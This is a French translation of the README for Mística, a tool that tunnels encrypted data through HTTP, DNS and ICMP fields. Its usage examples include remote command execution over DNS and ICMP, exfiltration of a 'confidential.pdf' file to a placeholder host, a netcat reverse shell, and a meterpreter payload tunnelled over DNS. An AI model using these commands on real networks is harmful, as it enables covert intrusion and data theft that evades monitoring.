incidedigital/misticaUn couteau suisse open source pour la communication arbitraire sur les protocoles d'application.
 |
|---|
| Logo Mística par JoelGMSec |
Mística est un outil qui permet d'incorporer des données dans les champs de protocoles de la couche application, dans le but d'établir un canal bidirectionnel pour des communications arbitraires. Actuellement, l'encapsulation dans les protocoles HTTP, HTTPS, DNS et ICMP a été implémentée, mais d'autres protocoles devraient être introduits dans un avenir proche.
Mística a une conception modulaire, construite autour d'un protocole de transport personnalisé, appelé SOTP : Simple Overlay Transport Protocol. Les données sont chiffrées, fragmentées et placées dans des paquets SOTP. Les paquets SOTP sont encodés et intégrés dans le champ souhaité du protocole d'application, puis envoyés à l'autre extrémité.
Le but de la couche SOTP est d'offrir un protocole de transport binaire générique, avec un encombrement minimal. Les paquets SOTP peuvent être facilement cachés ou intégrés dans des protocoles d'application légitimes. De plus, SOTP garantit que les paquets sont reçus par l'autre extrémité, chiffre les données à l'aide de RC4 (cela pourrait changer à l'avenir), et assure que les informations peuvent circuler dans les deux sens de manière transparente, en utilisant un mécanisme de sondage.
Les modules interagissent avec la couche SOTP à différentes fins :
Les modules d'encapsulation et de superposition fonctionnent ensemble pour construire des applications personnalisées, par exemple la redirection d'entrée sur DNS ou la redirection de ports à distance sur HTTP.
La conception modulaire de Mística permet un développement facile de nouveaux modules. De plus, l'utilisateur peut facilement forker les modules existants afin d'utiliser un champ ou un encodage personnalisé, ou de modifier le comportement d'un module de superposition.
Il existe deux principaux logiciels :
ms.py) : Utilise des modules qui agissent comme le serveur du protocole de couche application souhaité (HTTP, HTTPS, DNS, ICMP...). Il est également conçu de manière à permettre l'exécution simultanée de plusieurs serveurs, wrappers et superpositions avec une seule instance de ms.py, bien que cette fonctionnalité ne soit pas encore entièrement implémentée.mc.py) : Utilise des modules qui agissent comme le client du protocole de couche application souhaité (HTTP, HTTPS, DNS, ICMP...). Il ne peut utiliser qu'une seule superposition et un seul wrapper à la fois.Vous pouvez voir quelques démos de Mística dans la playlist suivante
Le projet a très peu de dépendances. Actuellement :
dnslib.```
python3.7 -m pip install pip --user
pip3.7 install dnslib --userSi vous ne souhaitez pas installer python sur votre système, vous pouvez utiliser l'une des versions portables suivantes :
- https://www.anaconda.com/distribution/#download-section (pour Windows, Linux et macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (seulement pour Windows)
## Modules actuels
Modules d'encapsulation :
- `io` : Lit depuis stdin, envoie via la connexion SOTP. Lit depuis la connexion SOTP, imprime sur stdout
- `shell` : Exécute les commandes reçues via la connexion SOTP et retourne la sortie. Compatible avec le module io.
- `tcpconnect` : Se connecte à un port TCP. Lit depuis la socket, envoie via la connexion SOTP. Lit depuis la connexion SOTP, envoie via la socket.
- `tcplisten` : Se lie à un port TCP. Lit depuis la socket, envoie via la connexion SOTP. Lit depuis la connexion SOTP, envoie via la socket.
Modules d'enveloppement :
- `dns` : Encode/Décode les données dans les requêtes/réponses DNS en utilisant différentes méthodes
- `http` : Encode/Décode les données dans les requêtes/réponses HTTP ou HTTPS en utilisant différentes méthodes
- `icmp` : Encode/Décode les données dans les requêtes/réponses d'écho ICMP sur la section de données
## Utilisation
`ms.py` : Mística Server
Voici à quoi ressemble le message d'aide :```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]
Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair in single-handler mode. format:
'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module (Single-handler
mode)
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module (Single-handler
mode)
-s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
args for the selected wrap server (Single-handler
mode)
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
Il existe deux modes principaux dans Mística Server :
ms.py est lancé avec des paramètres, il permet à un seul module de superposition d'interagir avec un seul module wrapper.ms.py est exécuté sans paramètres, l'utilisateur entre dans une console interactive, où plusieurs modules de superposition et wrapper peuvent être lancés. Ces modules pourront interagir entre eux, avec peu de restrictions.mc.py : Client Mística
Voici à quoi ressemble le message d'aide :```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]
Mistica client.
optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)
### Paramètres
- `-l, --list` est utilisé pour lister soit `all` les modules, soit un seul type : (`overlays` ou `wrappers`) ou pour lister les paramètres qu'un module donné peut accepter via `-o`, `-w` ou `-s`.
- `-k, --key` est utilisé pour spécifier la clé qui sera utilisée pour chiffrer la communication de l'overlay. Celle-ci doit être la même côté client et serveur et est actuellement obligatoire. Cela pourrait changer à l'avenir si des mécanismes de partage de secrets sont implémentés.
- `-m, --modules` est utilisé pour spécifier quelle paire de modules vous souhaitez utiliser. Vous devez utiliser le format suivant : **overlay_module** + **:** + **wrap_module**. Ce paramètre est également obligatoire.
- `-w, --wrapper-args` vous permet de spécifier une configuration particulière pour le module wrap.
- `-o, --overlay-args` vous permet de spécifier une configuration particulière pour le module overlay.
- `-s, --wrap-server-args` n'est présent que sur `ms.py`. Il vous permet de spécifier une configuration particulière pour le serveur wrap. Chaque module wrap dépend d'un serveur wrap, et les deux configurations peuvent être ajustées.
## Exemples et Utilisation avancée
> N'oubliez pas que vous pouvez voir tous les paramètres acceptés d'un module en tapant `-l <nom_du_module>` (par exemple `./ms.py -l dns`). N'oubliez pas non plus d'utiliser une clé longue et complexe pour protéger vos communications !
### HTTP
Afin d'illustrer les différentes méthodes d'encapsulation HTTP, le module overlay de redirection IO (`io`) sera utilisé pour chaque exemple.
- Méthode HTTP GET avec encodage b64 dans l'URI par défaut, utilisant localhost et le port 8080 (valeurs par défaut).
- Mística Server : `./ms.py -m io:http -k "rc4testkey"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey"`
- Méthode HTTP GET avec encodage b64 dans l'URI par défaut, **en spécifiant l'adresse IP et le port**.
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- Méthode HTTP GET avec encodage b64 dans **un URI personnalisé**, utilisant localhost et le port 8080 (valeurs par défaut).
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Méthode HTTP GET avec encodage b64 dans **un en-tête personnalisé**, utilisant localhost et le port 8080 (valeurs par défaut).
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- Méthode HTTP **POST** avec encodage b64 dans le champ par défaut, utilisant localhost et le port 8080 (valeurs par défaut).
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- Méthode HTTP **POST** avec encodage b64 dans **un en-tête personnalisé**, utilisant localhost et le port 8080 (valeurs par défaut).
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Méthode HTTP **POST** avec encodage b64 dans **un champ personnalisé**, utilisant localhost et le port 8080 (valeurs par défaut).
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Méthode HTTP **POST** avec encodage b64 dans **un champ personnalisé, avec une taille de paquet personnalisée, des tentatives personnalisées, un délai d'attente personnalisé et en spécifiant IP et port** :
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- Méthode HTTP **POST** avec encodage b64 dans **un champ personnalisé**, **en utilisant un modèle d'erreur personnalisé**, utilisant localhost et le port 8080 (valeurs par défaut).
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Méthode HTTP GET avec encodage b64 dans l'URI par défaut, utilisant **un code de réponse HTTP personnalisé** et utilisant localhost et le port 8080 (valeurs par défaut) :
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Méthode HTTPS GET avec encodage b64 dans l'URI par défaut utilisant le port 443. Un certificat doit être généré dans Mística Server pour utiliser l'option ssl, le client Mística a seulement besoin de recevoir le flag ssl :
- Mística Server :
- `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
- `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- Méthode HTTP GET avec encodage b64 dans l'URI par défaut, en utilisant un serveur proxy dans Mística Client (peut être utilisé dans des environnements où la communication HTTP doit nécessairement passer par un proxy d'entreprise, qui n'est pas spécifié dans la configuration de l'ordinateur). Testez l'exemple suivant avec Burpsuite :
- Mística Server : `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
- Mística Client : `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`
### DNS
Afin d'illustrer les différentes méthodes d'encapsulation DNS, le module overlay de redirection IO (`io`) sera utilisé pour chaque exemple.
- Requête TXT, utilisant localhost et le port 5353 (valeurs par défaut) :
- Mística Server : `./ms.py -m io:dns -k "rc4testkey"`
- Mística Client : `./mc.py -m io:dns -k "rc4testkey"`
- Requête NS, utilisant localhost et le port 5353 (valeurs par défaut) :
- Mística Server : `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
- Mística Client : `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- Requête CNAME, utilisant localhost et le port 5353 (valeurs par défaut) :
- Mística Server : `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
- Mística Client : `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- Requête MX, utilisant localhost et le port 5353 (valeurs par défaut) :
- Mística Server : `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
- Mística Client : `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- Requête SOA, utilisant localhost et le port 5353 (valeurs par défaut) :
- Mística Server : `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
- Mística Client : `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- Requête TXT, utilisant localhost et le port 5353 (valeurs par défaut) et **domaines personnalisés** :
- Mística Server : `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
- Mística Client :
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- Requête TXT, en spécifiant le port et le nom d'hôte :
- Mística Server : `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
- Mística Client : `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- Requête TXT, en utilisant plusieurs sous-domaines :
- Mística Server : `./ms.py -m io:dns -k "rc4testkey"`
- Mística Client : `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`
### ICMP
Le noyau Linux, lorsqu'il reçoit un paquet de requête echo ICMP, répond automatiquement par défaut avec un paquet de réponse echo ICMP (sans nous donner la possibilité de répondre). C'est pourquoi nous devons désactiver les réponses ICMP pour pouvoir envoyer nos propres paquets avec des données différentes de celles envoyées par le client. Pour ce faire, nous procédons comme suit :
Désactiver les réponses ICMP automatiques du noyau (*root requis*) en éditant le fichier `/etc/sysctl.conf` :
- Ajoutez la ligne suivante à votre /etc/sysctl.conf :
net.ipv4.icmp_echo_ignore_all=1
net.ipv4.icmp_echo_ignore_all=1
```
Ensuite, exécutez : `sysctl -p` pour prendre effet.
Maintenant, afin d'illustrer les différentes méthodes d'encapsulation ICMP, le module de superposition de redirection d'E/S (`io`) sera utilisé pour chaque exemple.
- Section des données ICMP, en utilisant l'interface eth0 :
- Serveur Mística : `./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"`
- Client Mística : `./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"`
### Shell et IO
Vous pouvez obtenir l'exécution de commandes à distance en utilisant mística via un canal personnalisé, en combinant les modules `io` et `shell`. Exemples :
- Exécution de commandes sur le système client via DNS en utilisant une requête TXT.
- Serveur Mística : `sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"`
- Client Mística : `./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"`
- Exécution de commandes sur le système serveur via HTTP en utilisant des requêtes GET :
- Serveur Mística : `./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"`
- Client Mística : `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"`
- Exécution de commandes sur le système client via ICMP :
- Serveur Mística : `./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"`
- Client Mística : `./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"`
- Exfiltration de fichiers via HTTP en utilisant le module IO et les opérateurs de redirection :
- Serveur Mística : `./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf`
- Client Mística (**important à exécuter depuis l'invite de commandes**) : `type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv`
### Transfert de port avec tcpconnect et tcplisten
- Transfert de port distant (vu depuis le serveur) via HTTP. L'adresse `127.0.0.1:4444` sur le client sera transférée à l'adresse `127.0.0.1:5555` sur le serveur. Quelque chose doit déjà écouter sur `5555`.
- Serveur Mística : `./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"`
- Client Mística : `./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"`
- Transfert de port local (vu depuis le serveur) via DNS. L'adresse `127.0.0.1:4444` sur le serveur sera transférée à l'adresse `127.0.0.1:5555` sur le client. Quelque chose doit déjà écouter sur `5555`.
- Serveur Mística : `sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"`
- Client Mística : `./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"`
- Shell inverse HTTP utilisant netcat sur un client Linux.
- Écouteur Netcat (sur le serveur) : `nc -nlvp 5555`
- Serveur Mística : `./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"`
- Client Mística : `./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"`
- Shell Netcat (sur le client Linux) : `ncat -nve /bin/bash 127.0.0.1 4444`
- Exécution de `meterpreter_reverse_tcp` (Linux) via DNS en utilisant le transfert de port. Payload générée avec `msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin`
- Lancez `msfconsole` sur le serveur et démarrez le handler avec : `handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555`
- Serveur Mística : `sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"`
- Client Mística : `./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"`
- Exécutez meterpreter sur le client : `./meterpreter_reverse_tcp_localhost_4444.bin`
- [EvilWinrm](https://github.com/Hackplayers/evil-winrm) via ICMP en utilisant une machine de rebond pour accéder à une machine isolée.
- Serveur Mistica : `./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv`
- Client Mistica : `python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv`
- Console EvilWinrm (sur la machine C2) : `evil-winrm -u Administrador -i 127.0.0.1 -P 5555`
## Docker
Une image Docker a été créée pour une utilisation locale. Cela nous évite d'avoir à installer Python ou dnslib uniquement si nous voulons tester l'outil, c'est aussi très intéressant pour le débogage ou autre car nous évitons le bruit généré par d'autres applications locales. Pour la construire, nous suivons simplement ces étapes :
* Construisez d'abord l'image avec :```
sudo docker build --tag mistica:latest .
```
* Deuxièmement, créez le réseau avec :```
sudo docker network create misticanw
```
* Troisièmement, exécutez le serveur avec :```
sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
```
* Quatrièmement exécutez le client avec :```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
```
## Comment compiler
Mística est un outil développé en Python, ce qui signifie qu'il peut, théoriquement, être compilé.
Pour compiler l'outil, nous utiliserons [Pyinstaller](https://www.pyinstaller.org/), cet outil nous permettra de générer un binaire (selon le système d'exploitation sur lequel nous nous trouvons), ce qui signifie que nous ne pouvons **PAS** faire de cross-compilation comme dans d'autres langages tels que C, C++, Golang, Rust, etc. **Nous travaillons sur un moyen de rendre cela possible**, mais nous vous laissons la commande Pyinstaller qui nous permettra de compiler Mística sur n'importe quel système d'exploitation :
### Compiler le client Mistica
Comme le client Mística n'a pas de dépendances, il peut être compilé directement avec Pyinstaller. Pour le compiler, suivez les étapes suivantes :
* Tout d'abord, installez pyinstaller pour Python3.7 ou supérieur :```
python3.7 -m pip install pyinstaller --user
```
* Et maintenant, compilez le client Mística avec la commande suivante :```
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
mc.py
```
### Compiler le serveur Mística
Si vous voulez compiler le serveur Mística, vous devez installer, avec Pip, la bibliothèque Dnslib de manière globale (rappelez-vous qu'il s'agit de la seule dépendance de Mística, et uniquement pour le serveur Mística). Pour ce faire, vous devez suivre les étapes suivantes :
* Premièrement, installez Python 3.7 ou supérieur sur votre système Windows, Linux ou Mac.
* Deuxièmement, installez, avec Pip, la bibliothèque Dnslib : `pip install dnslib` (sans le drapeau '--user', ainsi elle sera installée globalement sur le système, sinon pyinstaller ne pourra pas l'ajouter en tant qu'import caché. Cette étape nécessite des permissions d'administrateur.)
* Troisièmement, installez, avec Pip, la bibliothèque Pyinstaller : `pip install pyinstaller`.
* Et quatrièmement, compilez le serveur Mística avec la commande suivante :```
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
--hiddenimport dnslib \
ms.py
```
## Travaux futurs
- Méthode de cross-compilation pour être capable de compiler Mistica pour différents systèmes d'exploitation sans avoir à le faire depuis le système d'exploitation cible.
- Génération de clés Diffie-Hellman transparente pour le protocole SOTP
- Mode multi-handler : Mode interactif pour `ms.py`. Cela permettra à l'utilisateur de combiner plus d'un overlay avec plus d'un wrapper et plus d'un module wrap par serveur de wrap.
- Documentation de développement de modules pour le développement de modules personnalisés. Cela est actuellement déconseillé car la spécification des modules est encore en développement.
- Modules suivants :
- Wrapper SMB
- Overlay RAT et gestionnaire de RAT
- Overlay proxy SOCKS et redirection de port dynamique
- Overlay de transfert de fichiers
- Wrapper RDP
- Modèles HTTP personnalisés pour un encapsulage plus complexe
- Documentation de spécification du protocole SOTP pour les clients ou serveurs personnalisés. Cela est actuellement déconseillé car le protocole est encore en développement.
## Auteurs et licence
Ce projet a été développé par Carlos Fernández Sánchez et Raúl Caro Teixidó. Le code est publié sous la licence publique générale GNU v3.
Ce projet utilise du code open-source tiers, notamment :
- [Bitstring](https://github.com/scott-griffiths/bitstring) développé par Scott Griffiths.
- [Un RC4 binaire-sûr](https://github.com/DavidBuchanan314/rc4) développé par David Buchanan.
- [Un client DNS sans dépendances](https://github.com/vlasebian/simple-dns-client) développé par Vlad Vitan.
- [Un serveur et client ICMP sans dépendances](https://github.com/rcaroncd/ICMPack/) développé par Raul Caro.